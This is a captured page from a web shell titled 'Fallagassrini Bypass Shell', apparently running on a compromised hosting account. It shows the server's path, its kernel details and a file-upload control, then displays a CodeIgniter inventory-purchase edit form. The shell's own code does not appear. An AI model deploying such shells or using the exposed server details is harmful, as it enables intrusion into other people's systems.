? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/application/views/inventory/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/application/views/inventory/edit_purchase.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<script type="text/javascript">
    function get_purcahse_total_prize(divid)
    {   
        
        
       var tr_index= $('#'+divid).closest('tr').index();
       var qty= $('#inventory_qty'+tr_index).val();
       var prize= $('#inventory_amount'+tr_index).val();
       var discount= $('#inventory_discount'+tr_index).val();
       var flag=1;
       if(qty=='' || prize=='')
           {
               
                
                flag=0;
           }
          
       
       if(flag==1)
           {
               var qtnty=parseInt(qty);
               var prize1=parseFloat(prize);
               if(discount!='')
               var discount1=parseFloat(discount);
               else
                   discount1=0;
               var total=prize1*qtnty-discount1;
               $('#inventory_total'+tr_index).val(total);
           }
           else
               $('#inventory_total'+tr_index).val('0');
       
    }
</script>
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Updating Purchase Details</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('inventory','viewininventorysearch','search_purchase','view_purchase','<?=$_SESSION['pagenum'];?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                  $franchisee = $this->franchiseemodel->search_franchisee();
                    $inventory = $this->mastermodel->search_inventory();
                    echo form_open('inventory/addininventory/update_purchase/view_purchase/1',$attributes);
                ?>
                <h3 class="form-section">Purchase Details </h3>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Franchisee Name</label>
                            <div class="controls">
                                 <select name="franchisee_id" id="franchisee_id" class="required chosen span12" >
                                <option value=''>Select</option>
                                 <?php
                                 foreach($franchisee['results']->result_array() as $list)
                                 {
                                 ?>
                                    <option value="<?=$list['franchisee_id']?>" <?php if($list['franchisee_id']==$viewinfo->purchase_franchisee_id) { echo 'selected'; } ?>><?=$list['franchisee_name']?></option>
                                    <?php
                                 }
                                 ?>
                                </select>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Purchase Date</label>
                            <div class="controls">
                                <input name="purchase_date" id="purchase_date" class="required calfocus span12" type="text" value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->purchase_date)?>" />
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Remarks </label>
                            <div class="controls">
                                 <textarea name="purchase_remarks" id="purchase_remarks"  class="span12"type="text"><?=$viewinfo->purchase_remarks?></textarea>
                    
                            </div>
                        </div>
                    </div>
                    </div>
<div class="portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i>  Purchase Inventory Details</div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="control-group">
                                <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                                    <tr>
                                         <th>Inventory Type</th>
                                            <th>Quantity</th>
                                            <th>Amount</th>
                                            <th>Discount</th>
                                            <th>Total</th>
                                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                                        </tr>
                                    <?php 
                        $inventry=$this->mastermodel->get_data('purchase_inventory',$viewinfo->purchase_id,'purchase_id');
                        foreach ($inventry as $row)
                            {      
                            $qty=intval($row['inventory_qty']);
                            $amount=floatval($row['inventory_amount']);
                            $discount=floatval($row['inventory_discount']);
                            $total=$qty*$amount-$discount;
                   ?>
                    <tr>                       
                        <td>  
                            <select style="width:130px;"  name="inventory_id" id="inventory_id" class="chzn-done" >
                                <option value=''>Select</option>
                                 <?php
                                 foreach($inventory['results']->result_array() as $list)
                                 {
                                 ?>
                                    <option value="<?=$list['inventory_id']?>" <?php if($list['inventory_id']==$row['inventory_type_id']) { echo 'selected'; } ?>><?=$list['inventory_type']?></option>
                                    <?php
                                 }
                                 ?>
                            </select>
                        </td>
                        <td>
                            <input style="width:130px;"  name="inventory_qty" id="inventory_qty" class=" number" type="text" value="<?=$row['inventory_qty']?>" onchange="get_purcahse_total_prize(this.id)"/>
                            <input name="inventory_qty_old" id="inventory_qty_old"  type="hidden" value="<?=$row['inventory_qty']?>"/>
                        </td>
                        <td><input style="width:130px;"  name="inventory_amount" id="inventory_amount" class=" number auto"  type="text" value="<?=$row['inventory_amount']?>" onchange="get_purcahse_total_prize(this.id)"/></td>
                        <td><input style="width:130px;"  name="inventory_discount" id="inventory_discount" class=" number auto"  type="text" value="<?=$row['inventory_discount']?>" onchange="get_purcahse_total_prize(this.id)"/></td>                        
                        <td><input style="width:130px;"  name="inventory_total" id="inventory_total"  type="text"  readonly value="<?=$total?>" class="auto" /></td>
                        <td>
                                            <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                        </td>
                    </tr>
                    <?php                     
                    }
                    ?>
                                        <tr>
                        <td>  <select style="width:130px;" name="inventory_id" id="inventory_id" class="chzn-done" >
                                <option value=''>Select</option>
                                 <?php
                                 foreach($inventory['results']->result_array() as $list)
                                 {
                                 ?>
                                    <option value="<?=$list['inventory_id']?>"><?=$list['inventory_type']?></option>
                                    <?php
                                 }
                                 ?>
                            </select></td>
                        <td><input style="width:130px;" name="inventory_qty" id="inventory_qty"  class="number" type="text" onchange="get_purcahse_total_prize(this.id)"/></td>
                        <td><input style="width:130px;"  name="inventory_amount" id="inventory_amount" class="number auto" type="text" onchange="get_purcahse_total_prize(this.id)"/></td>
                        <td><input  style="width:130px;" name="inventory_discount" id="inventory_discount" class="number auto" type="text" onchange="get_purcahse_total_prize(this.id)" value="0"/></td>
                        <td><input  style="width:130px;" name="inventory_total" id="inventory_total"  type="text" readonly class="auto" /></td>
                                        <td>
                                            <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                        </td>
                                    </tr>
                                </table>
                            </div>
                        </div>

                    </div>
                </div>

                <div class="form-actions">
                    <input type="hidden" name="tab_name" value="purchase"/>
                    <input type="hidden" name="resfunction" value="search_purchase"/>
                       <input type="hidden" name="purchase_id" id="purchase_id" value="<?=$viewinfo->purchase_id?>"/>
                    <button type="submit" onclick="addformdata('validateform')" class="btn blue"><i class="icon-ok"></i> Save</button>
                    <button type="button" onclick="viewdata('inventory','viewininventorysearch','search_purchase','view_purchase','<?=$_SESSION['pagenum'];?>')" class="btn">Cancel</button>
                </div>
                <?php
                echo form_close();
                ?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>





bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net